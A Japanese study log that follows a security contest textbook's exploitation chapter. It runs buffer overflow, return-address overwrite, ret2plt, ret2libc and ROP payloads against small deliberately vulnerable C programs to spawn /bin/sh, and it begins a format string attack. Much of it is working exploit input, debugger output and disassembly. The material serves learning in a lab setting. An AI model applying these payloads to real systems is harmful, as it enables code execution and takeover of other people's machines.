int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf("Hello, ");
    printf(str);
    return 0;
}

では、実際に動かしてみます。

$ echo -e '%x,%x,%x,%x,%x,%x,%x,%x,%x' | ./format
Hello, 80,f7e1d620,ffb60324,f7f4cff4,2c,0,252c7825,78252c78,2c78252c

こちらは、書籍の通りに動いていそうです。

ステップ4:エクスプロイト

ステップ4 は、いろいろなことをやります。大きく分けると、ステップ3 と同様に、バッファオーバーフローと、書式文字列の脆弱性です。順番にやっていきます。

ローカル変数を破壊する

ここでは、バッファオーバーフローにより、ローカル変数をユーザの入力で破壊することを確認します。

使用するソースコードです。ローカル変数の buffer配列は、10byte しかありません。

// bof1.c
#include <stdio.h>

int main(int argc, char *argv[]) {
        int zero = 0;
        char buffer[10];

        printf("buffer address\t= %x\n", (int)buffer);
        printf("zero address\t= %x\n", (int)&zero);

        fgets(buffer, 64, stdin);
        printf("zero = %d\n", zero);
        return 0;
}

では、実行します。1回目は、正常な動作です。2回目は、A を 16文字+改行コード(17byte)を入力したため、7byte オーバーします。そこに、ローカル変数 zero があるので、zero の値を書き換えてしまうというものです。

$ ./bof1
buffer address  = ff838112
zero address    = ff83811c
AAAA
zero = 0

$ ./bof1
buffer address  = ff9010f2
zero address    = ff9010fc
AAAAAAAAAAAAAAAA
zero = 1094795585

書籍では、ローカル変数の zero がどこに配置されているかは説明がありませんでした。ですので、もう少し確認してみます。逆アセンブラを見ます。

$ objdump -M intel -d ./bof1
(途中、省略)
0804846d <main>:
 804846d:       55                      push   ebp
 804846e:       89 e5                   mov    ebp,esp
 8048470:       83 e4 f0                and    esp,0xfffffff0
 8048473:       83 ec 20                sub    esp,0x20
 8048476:       c7 44 24 1c 00 00 00    mov    DWORD PTR [esp+0x1c],0x0
 804847d:       00
 804847e:       8d 44 24 12             lea    eax,[esp+0x12]
 8048482:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048486:       c7 04 24 70 85 04 08    mov    DWORD PTR [esp],0x8048570
 804848d:       e8 9e fe ff ff          call   8048330 <printf@plt>
 8048492:       8d 44 24 1c             lea    eax,[esp+0x1c]
 8048496:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804849a:       c7 04 24 85 85 04 08    mov    DWORD PTR [esp],0x8048585
 80484a1:       e8 8a fe ff ff          call   8048330 <printf@plt>
 80484a6:       a1 24 a0 04 08          mov    eax,ds:0x804a024
 80484ab:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80484af:       c7 44 24 04 40 00 00    mov    DWORD PTR [esp+0x4],0x40
 80484b6:       00
 80484b7:       8d 44 24 12             lea    eax,[esp+0x12]
 80484bb:       89 04 24                mov    DWORD PTR [esp],eax
 80484be:       e8 7d fe ff ff          call   8048340 <fgets@plt>
 80484c3:       8b 44 24 1c             mov    eax,DWORD PTR [esp+0x1c]
 80484c7:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484cb:       c7 04 24 98 85 04 08    mov    DWORD PTR [esp],0x8048598
 80484d2:       e8 59 fe ff ff          call   8048330 <printf@plt>
 80484d7:       b8 00 00 00 00          mov    eax,0x0
 80484dc:       c9                      leave
 80484dd:       c3                      ret
 80484de:       66 90                   xchg   ax,ax

スタックを表にします。10byte の buffer配列の直後に、変数 zero が配置されています。よって、AAAA(0x41414141=1,094,795,585)が、変数 zero の値として上書きされたということになります。

アドレス サイズ 内容 備考
ebp+0x04 4 リターンアドレス
ebp 4 1つ前のesp
ebp-0x04 4 0初期化 zero
ebp-0x0e 10 buffer
ebp-0x18 4 stdin
ebp-0x1c 4 bufferの先頭アドレス、その後、zeroのアドレス、その後、0x40
ebp-0x20 4 sub esp,0x20後にespが指してるところ、かつ、1回目と2回目のprintfの第1引数、その後、bufferの先頭アドレス
ローカル変数を任意の値に書き換える

ここでは、バッファオーバーフローにより、ローカル変数を任意の値に書き換えることが出来ることを確認します。

ソースコードは以下です。

先ほどの bof1.c とほぼ同じですが、変数 zero を 0x12345678 にすることが出来れば、congrats! のメッセージが得られるプログラムです。

// bof2.c
#include <stdio.h>

int main(int argc, char *argv[]) {
    int zero = 0;
    char buffer[10];

    printf("buffer address\t= %x\n", (int)buffer);
    printf("zero address\t= %x\n", (int)&zero);

    fgets(buffer, 64, stdin);
    printf("zero = 0x%x\n", zero);
    if (zero == 0x12345678) {
        printf("congrats!\n");
    }
    return 0;
}

buffer配列は、10byteなので、その直後に、0x12345678 を与えればいいわけです。リトルエンディアンであることに注意します。

$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2
buffer address  = ff883e52
zero address    = ff883e5c
zero = 0x12345678
congrats!
リターンアドレスの書き換え

ここでは、ローカル変数を超えて、リターンアドレスを書き換えます。要領は同じです。ここで使用するソースコードです。

// bof3.c
#include <stdio.h>
#include <string.h>

char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

実行してみます。多めに A を入力して、リターンアドレスを書き換えます。先ほどと同じく、セグメンテーションフォールトが発生しました。

$ python -c 'print("A" * 128)' | ./bof3
buffer: 0x804a060
Segmentation fault

何個の A を入れたらいいかを数えるのが大変ですが、peda の patternコマンドを使うと簡単に見つけられるようです。やってみます。

run を実行する前に、pattern_create 50 と、適切な数のパターンを作成します。run を実行後、入力待ちになったら、作成したパターンを入力します。その後、SIGSEGV で停止します。そのときの EIP を見て、書き換えたい値(AFAA)を与えて、patto AFAA を実行します。すると、44番目と教えてくれます。

$ gdb -q bof3
: no key sequence terminator:
Reading symbols from bof3...
(No debugging symbols found in bof3)
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0xffffd2e0 --> 0xa4162 ('bA\n')
EDX: 0x804a090 --> 0xa4162 ('bA\n')
ESI: 0x8048500 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffd2e0 --> 0xa4162 ('bA\n')
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffd2e0 --> 0xa4162 ('bA\n')
0004| 0xffffd2e4 --> 0xffffd394 --> 0xffffd4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
0008| 0xffffd2e8 --> 0xffffd39c --> 0xffffd54b ("SHELL=/bin/bash")
0012| 0xffffd2ec --> 0xffffd300 --> 0xf7e1cff4 --> 0x21cd8c
0016| 0xffffd2f0 --> 0xf7e1cff4 --> 0x21cd8c
0020| 0xffffd2f4 --> 0x804849d (<main>: push   ebp)
0024| 0xffffd2f8 --> 0x1
0028| 0xffffd2fc --> 0xffffd394 --> 0xffffd4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

逆アセンブラを表示します。

$ objdump -M intel -d bof3
(途中、省略)
0804849d <main>:
 804849d:       55                      push   ebp
 804849e:       89 e5                   mov    ebp,esp
 80484a0:       83 e4 f0                and    esp,0xfffffff0
 80484a3:       83 ec 30                sub    esp,0x30
 80484a6:       c7 44 24 04 60 a0 04    mov    DWORD PTR [esp+0x4],0x804a060
 80484ad:       08
 80484ae:       c7 04 24 90 85 04 08    mov    DWORD PTR [esp],0x8048590
 80484b5:       e8 96 fe ff ff          call   8048350 <printf@plt>
 80484ba:       a1 40 a0 04 08          mov    eax,ds:0x804a040
 80484bf:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80484c3:       c7 44 24 04 80 00 00    mov    DWORD PTR [esp+0x4],0x80
 80484ca:       00
 80484cb:       8d 44 24 10             lea    eax,[esp+0x10]
 80484cf:       89 04 24                mov    DWORD PTR [esp],eax
 80484d2:       e8 89 fe ff ff          call   8048360 <fgets@plt>
 80484d7:       8d 44 24 10             lea    eax,[esp+0x10]
 80484db:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484df:       c7 04 24 60 a0 04 08    mov    DWORD PTR [esp],0x804a060
 80484e6:       e8 85 fe ff ff          call   8048370 <strcpy@plt>
 80484eb:       b8 00 00 00 00          mov    eax,0x0
 80484f0:       c9                      leave
 80484f1:       c3                      ret
 80484f2:       66 90                   xchg   ax,ax
 80484f4:       66 90                   xchg   ax,ax
 80484f6:       66 90                   xchg   ax,ax
 80484f8:       66 90                   xchg   ax,ax
 80484fa:       66 90                   xchg   ax,ax
 80484fc:       66 90                   xchg   ax,ax
 80484fe:       66 90                   xchg   ax,ax

今回は、リターンアドレスを main関数に設定して、2回 main関数が実行されるようにします。python でバイナリを与えるのは長くなるので、バイナリの部分は手動で作ります。

$ python -c 'print("A" * 44)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3
buffer: 0x804a060
buffer: 0x804a060
Segmentation fault
リターンアドレスの書き換え(自分でコンパイル)

ここからは、同じことを自分でコンパイルしてやってみます。先ほどうまくいかなかった内容です。PIE は無効にしておきます。PIE が有効なままだと、プログラムのアドレスが毎回変わってしまって、設定するアドレスが分かりません。

まず、64bit でコンパイルします。サポートサイトからダウンロードしたファイルと同じく、セグメンテーションフォールトが発生しました。

$ mv bof3 bof3_org

$ gcc -fno-stack-protector -no-pie -o bof3 bof3.c
(警告は省略)

$ python -c 'print("A" * 128)' | ./bof3
buffer: 0x404060
Segmentation fault

次は、peda を使って、RIP に入る位置を求めます。ret命令で、SIGSEGV が出てしまっています。

$ gdb -q bof3
: no key sequence terminator:
Reading symbols from bof3...
(No debugging symbols found in bof3)
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
buffer: 0x404060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe268 --> 0x7fffffffe4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
RCX: 0x30 ('0')
RDX: 0x13
RSI: 0x7fffffffe150 ("A)AAEAAaAA0AAFAAbA\n")
RDI: 0x404080 ("A)AAEAAaAA0AAFAAbA\n")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe158 ("AA0AAFAAbA\n")
RIP: 0x4011a7 (<main+97>:       ret)
R8 : 0x4056e3 --> 0x0
R9 : 0x0
R10: 0x7ffff7dd2260 --> 0x10001a000042a4
R11: 0x7ffff7f1eb70 (<__strcpy_avx2>:   mov    rcx,rsi)
R12: 0x0
R13: 0x7fffffffe278 --> 0x7fffffffe54b ("SHELL=/bin/bash")
R14: 0x403e00 --> 0x401110 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40119c <main+86>:  call   0x401030 <strcpy@plt>
   0x4011a1 <main+91>:  mov    eax,0x0
   0x4011a6 <main+96>:  leave
=> 0x4011a7 <main+97>:  ret
   0x4011a8 <_fini>:    sub    rsp,0x8
   0x4011ac <_fini+4>:  add    rsp,0x8
   0x4011b0 <_fini+8>:  ret
   0x4011b1:    add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe158 ("AA0AAFAAbA\n")
0008| 0x7fffffffe160 --> 0xa4162 ('bA\n')
0016| 0x7fffffffe168 --> 0x401146 (<main>:      push   rbp)
0024| 0x7fffffffe170 --> 0x100000000
0032| 0x7fffffffe178 --> 0x7fffffffe268 --> 0x7fffffffe4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
0040| 0x7fffffffe180 --> 0x7fffffffe268 --> 0x7fffffffe4ee ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step4/stack-bof/bof3/bof3")
0048| 0x7fffffffe188 --> 0x89fb11949ae966c8
0056| 0x7fffffffe190 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011a7 in main ()
gdb-peda$ patto AA0AAFAAbA
AA0AAFAAbA found at offset: 40

次は、逆アセンブラで main関数の先頭のアドレスを取得します。

$ objdump -M intel -d bof3
(途中、省略)
0000000000401146 <main>:
  401146:       55                      push   rbp
  401147:       48 89 e5                mov    rbp,rsp
  40114a:       48 83 ec 30             sub    rsp,0x30
  40114e:       89 7d dc                mov    DWORD PTR [rbp-0x24],edi
  401151:       48 89 75 d0             mov    QWORD PTR [rbp-0x30],rsi
  401155:       48 8d 05 04 2f 00 00    lea    rax,[rip+0x2f04]        # 404060 <buffer>
  40115c:       48 89 c6                mov    rsi,rax
  40115f:       48 8d 05 9e 0e 00 00    lea    rax,[rip+0xe9e]        # 402004 <_IO_stdin_used+0x4>
  401166:       48 89 c7                mov    rdi,rax
  401169:       b8 00 00 00 00          mov    eax,0x0
  40116e:       e8 cd fe ff ff          call   401040 <printf@plt>
  401173:       48 8b 15 c6 2e 00 00    mov    rdx,QWORD PTR [rip+0x2ec6]        # 404040 <stdin@GLIBC_2.2.5>
  40117a:       48 8d 45 e0             lea    rax,[rbp-0x20]
  40117e:       be 80 00 00 00          mov    esi,0x80
  401183:       48 89 c7                mov    rdi,rax
  401186:       e8 c5 fe ff ff          call   401050 <fgets@plt>
  40118b:       48 8d 45 e0             lea    rax,[rbp-0x20]
  40118f:       48 89 c6                mov    rsi,rax
  401192:       48 8d 05 c7 2e 00 00    lea    rax,[rip+0x2ec7]        # 404060 <buffer>
  401199:       48 89 c7                mov    rdi,rax
  40119c:       e8 8f fe ff ff          call   401030 <strcpy@plt>
  4011a1:       b8 00 00 00 00          mov    eax,0x0
  4011a6:       c9                      leave
  4011a7:       c3                      ret

では、リターンアドレスを書き換えます。うまくいきました!やはり、正常なアドレスならリターンアドレスに設定できるようです。

$ python -c 'print("A" * 40)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x46\x11\x40\x00\x00\x00\x00\x00' |
 ./bof3
buffer: 0x404060
buffer: 0x404060
Segmentation fault
Return to PLT(ret2plt)

先ほどは、リターンアドレスに任意のアドレスを設定することで、任意のアドレスにジャンプすることを確認しました。次は、具体的に、どこにジャンプすれば、フラグが獲得できるかを考えなければいけません。そこで、共有ライブラリの機能を実行できる PLT のセクションにジャンプすることを考えます。共有ライブラリとは、libc などで、システム関数を実行する機能があるので、シェルを取得できたりします。

まず、PLT を表示してみます。見慣れた標準ライブラリの関数が見えます。

$ objdump -M intel -d -j .plt bof3_org

bof3_org:     file format elf32-i386


Disassembly of section .plt:

08048340 <.plt>:
 8048340:       ff 35 04 a0 04 08       push   DWORD PTR ds:0x804a004
 8048346:       ff 25 08 a0 04 08       jmp    DWORD PTR ds:0x804a008
 804834c:       00 00                   add    BYTE PTR [eax],al
        ...

08048350 <printf@plt>:
 8048350:       ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048356:       68 00 00 00 00          push   0x0
 804835b:       e9 e0 ff ff ff          jmp    8048340 <.plt>

08048360 <fgets@plt>:
 8048360:       ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 8048366:       68 08 00 00 00          push   0x8
 804836b:       e9 d0 ff ff ff          jmp    8048340 <.plt>

08048370 <strcpy@plt>:
 8048370:       ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 8048376:       68 10 00 00 00          push   0x10
 804837b:       e9 c0 ff ff ff          jmp    8048340 <.plt>

08048380 <__gmon_start__@plt>:
 8048380:       ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 8048386:       68 18 00 00 00          push   0x18
 804838b:       e9 b0 ff ff ff          jmp    8048340 <.plt>

08048390 <__libc_start_main@plt>:
 8048390:       ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 8048396:       68 20 00 00 00          push   0x20
 804839b:       e9 a0 ff ff ff          jmp    8048340 <.plt>

先ほどは、リターンアドレスの書き換えで、main関数の先頭にジャンプさせましたが、今度は、printf関数の PLT にジャンプさせます(0x8048350)。このとき、printf@plt に、call命令で来た場合と同じスタックの状態を作り出す必要があります。

call命令の前に、引数の設定(32bitはスタックに積む)を行い、call命令は、スタックをデクリメントして、リターンアドレスを設定して、PLT にたどり着きます。

スタックとしては、printf関数のように、引数が 2つの場合、アドレスの大きい方から、以下の表のように並んでいる必要があります。

実際の動きとしては、リターンアドレスを printf@plt に書き換えたとします。ret命令時は下表の esp のところのアドレスを esp に設定しておく必要があります。ret命令が実行されると、printf@plt にジャンプし、esp をインクリメントします(esp+0x04 の位置になります)。esp がこの位置を指している状態は、call命令で、printf@plt に着いた状態と同じです。具体的には、引数をスタックに積んで、call命令で、ジャンプ先に行き、スタックをデクリメントして、リターンアドレスをセットした状態と同じです。

アドレス サイズ 内容 備考
esp+0x0c 4 第2引数
esp+0x08 4 第1引数
esp+0x04 4 printf関数後のリターンアドレス ret命令後のesp
esp 4 printf@plt、その後、1つ前のebp ret命令時のesp

では、具体的にやってみます。先ほどは、リターンアドレスまでを AAAA で埋めて、その後に、リターンアドレスを設定していましたが、さらに、その後に、printf関数後のリターンアドレス(今回は必要ないので、BBBB で埋める)、第1引数(グローバル変数 buffer のアドレス)、第2引数(今回は必要ないので無し)を設定します。

グローバル変数 buffer のアドレスは、readelfコマンドでシンボルテーブルを表示して取得します。

$ readelf -s bof3_org | grep buffer
    54: 0804a060    32 OBJECT  GLOBAL DEFAULT   25 buffer

必要な情報がそろったので、ret2plt をやってみます。

printf関数を実行できたようです。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x0
4\x08' | ./bof3_org
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`
Segmentation fault

グローバル変数 buffer のアドレスは、nmコマンドでも取得できます。

$ nm bof3_org | grep buffer
0804a060 B buffer
Return to PLT(ret2plt)(自分でコンパイル)

同じことを、自分で 64bitコンパイルしたプログラムでもやってみます。

$ objdump -M intel -d -j .plt bof3

bof3:     file format elf64-x86-64

Disassembly of section .plt:

0000000000401020 <strcpy@plt-0x10>:
  401020:       ff 35 ca 2f 00 00       push   QWORD PTR [rip+0x2fca]        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
  401026:       ff 25 cc 2f 00 00       jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
  40102c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000401030 <strcpy@plt>:
  401030:       ff 25 ca 2f 00 00       jmp    QWORD PTR [rip+0x2fca]        # 404000 <strcpy@GLIBC_2.2.5>
  401036:       68 00 00 00 00          push   0x0
  40103b:       e9 e0 ff ff ff          jmp    401020 <_init+0x20>

0000000000401040 <printf@plt>:
  401040:       ff 25 c2 2f 00 00       jmp    QWORD PTR [rip+0x2fc2]        # 404008 <printf@GLIBC_2.2.5>
  401046:       68 01 00 00 00          push   0x1
  40104b:       e9 d0 ff ff ff          jmp    401020 <_init+0x20>

0000000000401050 <fgets@plt>:
  401050:       ff 25 ba 2f 00 00       jmp    QWORD PTR [rip+0x2fba]        # 404010 <fgets@GLIBC_2.2.5>
  401056:       68 02 00 00 00          push   0x2
  40105b:       e9 c0 ff ff ff          jmp    401020 <_init+0x20>

$ nm bof3 | grep buffer
0000000000404060 B buffer

32bitプログラムは引数をスタックに積みますが、64bitプログラムは引数にレジスタを使います。レジスタに任意の値を設定するには、ROP を使う必要があります。rp++ で、pop rdi + ret を探します。

やってみましたが、見つかりません。やり方が間違ってるのかと思って、以前使った「baby_stack」で試すと見つかりました。見つからなかったのは、小さいプログラムだからでしょうか。

$ rp-lin -f ./bof3 -r 4 | grep 'pop rdi'

$ rp-lin -f ./baby_stack -r 2 | grep 'pop rdi'
0x470931: pop rdi ; or byte [rax+0x39], cl ; ret ; (1 found)

他の方法(libc から探すとか)があると思いますが、今は分からないので後回しにします。

Return to libc(ret2libc)

ret2plt では、PLT にある関数しか使えませんでした。次は、直接 libc の関数を使います。

書籍では、libc の system関数のアドレスを取得するために GDB を使っています。GDB は、特別な設定をしていない限り、ASLR が無効だからと書かれています。しかし、その後、GDB ではなく、ターミナル上で、シェルを獲得する実行を行うのですが、この時には ASLR について言及がありません。とりあえず、書籍の通り進めてみます。

GDB の p(print)で、system関数のアドレスを取得します。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7c4c8c0 <system>

system関数は第1引数に実行したいコマンド文字列を設定します。先ほどの printf関数と同じく、第1引数に buffer を設定します。system関数の第1引数に /bin/sh を設定したいので、入力文字列の先頭に /bin/sh を設定します(NULLも設定する)。

では、やってみます。catコマンドを追加しているのは、system関数を実行した後、シェルに対して、継続してコマンドを実行するためと説明されています。

シェルが取れました!

$ が無いので、見にくいかもしれませんが、lsコマンドを実行できています。

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc8\xc4\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3_org
buffer: 0x804a060
ls
atk.bin  bof3.c    peda-session-bof3.txt      peda-session-dash.txt
bof3     bof3_org  peda-session-bof3_org.txt
exit
exit
Segmentation fault

何度やってもうまくいきます。ASLR は影響しないんでしょうか。とりあえず、先に進みます。

自分でコンパイルしたプログラムについては、ret2plt と同様に、引数は RDI を使う必要があるので、pop rdi + ret のガジェットを見つける必要がありますが、自分のプログラム内にはなかったので、他の方法(libc から探すとか)が必要になるので後回しにします。

ret2plt、ret2libcの後にもう1回関数を呼ぶ(popret gadget)

ret2plt と ret2libc では、printf関数や、system関数の後のリターンアドレスは使わないので、BBBB を埋めていました。今回は、ここに、別の関数のアドレスを設定して、連続で関数を呼びます。

書籍では、system関数の後に、exit関数を読んでいますので、ここでも同じ内容を実施します。

ここで 1つ問題があります。system関数の後に、exit関数を呼ぶだけなら、BBBB に exit関数のアドレスを設定すればいいだけですが、exit関数の引数はどこに設定すればいいかということです。

スタックを表にしてみます。0x04 に exit関数のアドレスを入れることはできますが、exit関数のリターンアドレスと第1引数についても考える必要があります。system関数の第1引数と、exit関数のリターンアドレスが同じ場所で困りますし、最初に呼び出す関数(今回は system関数)に第2引数があった場合は、exit関数の第1引数で1つの値しか設定できないので困ります。

相対アドレス サイズ 内容 備考
0x0c 4 system関数の第2引数(実際は存在しない) exit関数の第1引数
0x08 4 system関数の第1引数 exit関数のリターンアドレス
0x04 4 system関数のリターンアドレス ここにexit関数のアドレスを入れたい
0x00 4 system関数 main関数のret命令で使われる

system関数と exit関数の間に、スタックの位置を調整する命令(pop命令)を入れるとうまくいきます。具体的には、exit関数の代わりに、pop命令が1回実行されて、ret命令が実行されるような ROPガジェットを使うと、上の表の相対アドレス 0x14 の位置以降に exit関数のアドレス、exit関数のリターンアドレス、exit関数の第1引数を入れることでうまくいきます。

相対アドレス サイズ 内容 備考
0x18 4 exit関数の第1引数
0x14 4 exit関数のリターンアドレス
0x10 4 ROPガジェットのret命令で使われるexit関数のアドレス
0x08 4 system関数の第1引数(buffer) pop命令でインクリメントされる
0x04 4 system関数のリターンアドレス pop命令+ret命令のROPガジェットのアドレス
0x00 4 system関数 main関数のret命令で使われる

では、ROPガジェットを探します。以前は、rp++ を使いましたが、ここでは gdb-peda の機能を使ってみます。

popret が、いくつか見つかりました。この popret というのを使えばよさそうです。

gdb-peda$ start
(途中、省略)
gdb-peda$ ropgadget
ret = 0x8048322
popret = 0x8048339
pop2ret = 0x804855e
pop3ret = 0x804855d
pop4ret = 0x804855c
addesp_12 = 0x8048336
addesp_44 = 0x8048559
gdb-peda$ disas 0x804855d
(途中、省略)
   0x08048559 <+89>:    add    esp,0x1c
   0x0804855c <+92>:    pop    ebx
   0x0804855d <+93>:    pop    esi
   0x0804855e <+94>:    pop    edi
   0x0804855f <+95>:    pop    ebp
   0x08048560 <+96>:    ret
End of assembler dump.

exit関数のアドレスについても、system関数と同じ要領で取得しておきます。

gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xf7c3bd00 <exit>

これで全ての材料が揃ったので、表で整理します。

相対アドレス サイズ 内容 備考
0x18 4 0 exit関数の第1引数
0x14 4 0x42424242 exit関数のリターンアドレス(今回は使わないのでBBBB
0x10 4 0xf7c3bd00 ROPガジェットのret命令で使われるexit関数のアドレス
0x08 4 0x804a060 system関数の第1引数のbufferのアドレス
0x04 4 0x8048339 pop命令+ret命令のROPガジェットのアドレス
0x00 4 0xf7c4c8c0 main関数のret命令で使われるsystem関数

では、実際にやってみます。

前回とは異なり、セグメンテーションフォールトが出ていないので、exit関数の効果が確認できたということになります。

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc8\xc4\xf7\x39\x83\x04\
x08\x60\xa0\x04\x08\x00\xbd\xc3\xf7BBBB\x00\x00\x00\x00'; cat) | ./bof3_org
buffer: 0x804a060
ls
atk.bin  bof3.c    peda-session-bof3.txt      peda-session-dash.txt
bof3     bof3_org  peda-session-bof3_org.txt
exit
exit
書式文字列攻撃の概略

上の printf系関数の書式文字列に脆弱性を含んでいるプログラム「format」 では、ユーザの入力を書式文字列に使ってしまう脆弱性のプログラムを動かしました。

ここでは、同じく、ユーザの入力を書式文字列に使ってしまう脆弱性のプログラムに対して、以下のステップでシェルを取りに行きます。

  1. 任意のアドレスのデータを読み取る
  2. 任意のアドレスにデータを書き込む
  3. GOT領域を書き換えて、system関数を使ってシェルを取る

では、順番にやっていきます。

書式文字列攻撃:任意のアドレスのデータを読み取る

ここで使うソースコードです。

ユーザの入力を書式文字列に使ってしまう脆弱性があります。これを使うと、任意のアドレスのデータを読み取ることが出来ます。ここでは、任意のアドレスのデータとして、グローバル変数の secret のデータを読み取ってみます。

// fsb.c
#include <stdio.h>
int secret = 0x12345678;

int main(int argc, char *argv[]) {
    char str[128];
    fgets(str, 128, stdin);
    printf(str);
    printf("secret = 0x%x\n", secret);
    return 0;
}

では、サポートサイトからダウンロードしたプログラム「fsb」を使って動かしてみます。入力としては、AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p を与えてみます。

printf関数の引数として、入力した AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p が使われます。32bit の x86 のプログラムの呼び出し規約は、逆順からスタックに積まれます。%p が 9個あるので、printf関数の中では、9個のアドレスがスタックに積まれたと認識します(実際は引数に指定していないが、printf関数は積まれたとして動くしかない)。よって、9個のアドレスを出力してしまいます。

$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
AAAA0x80,0xf7e1d620,0xffd51384,0xf7f70ff4,0x2c,(nil),0x41414141,0x252c7025,0x70252c70
secret = 0x12345678

何のアドレスを出力しているのかを、GDB で確認してみたいと思いますが、その前に、セキュリティ機構を checksec で確認しておきます。SSP が有効になっています。

$ checksec --file=fsb
RELRO           STACK CANARY      NX            PIE     RPATH      RUNPATH      Symbols       FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE  No RPATH   No RUNPATH   71 Symbols    No       0          2            fsb

また、ASLR が有効だと、スタックの値を見ても、どこのアドレスが出力されたのか分からなくなるので、一時的に ASLR を無効にします。また、もう 1回「fsb」を実行しておきます。

# sudo su
# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
# exit

$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
AAAA0x80,0xf7e1d620,0xffffd484,0xf7ffcff4,0x2c,(nil),0x41414141,0x252c7025,0x70252c70
secret = 0x12345678

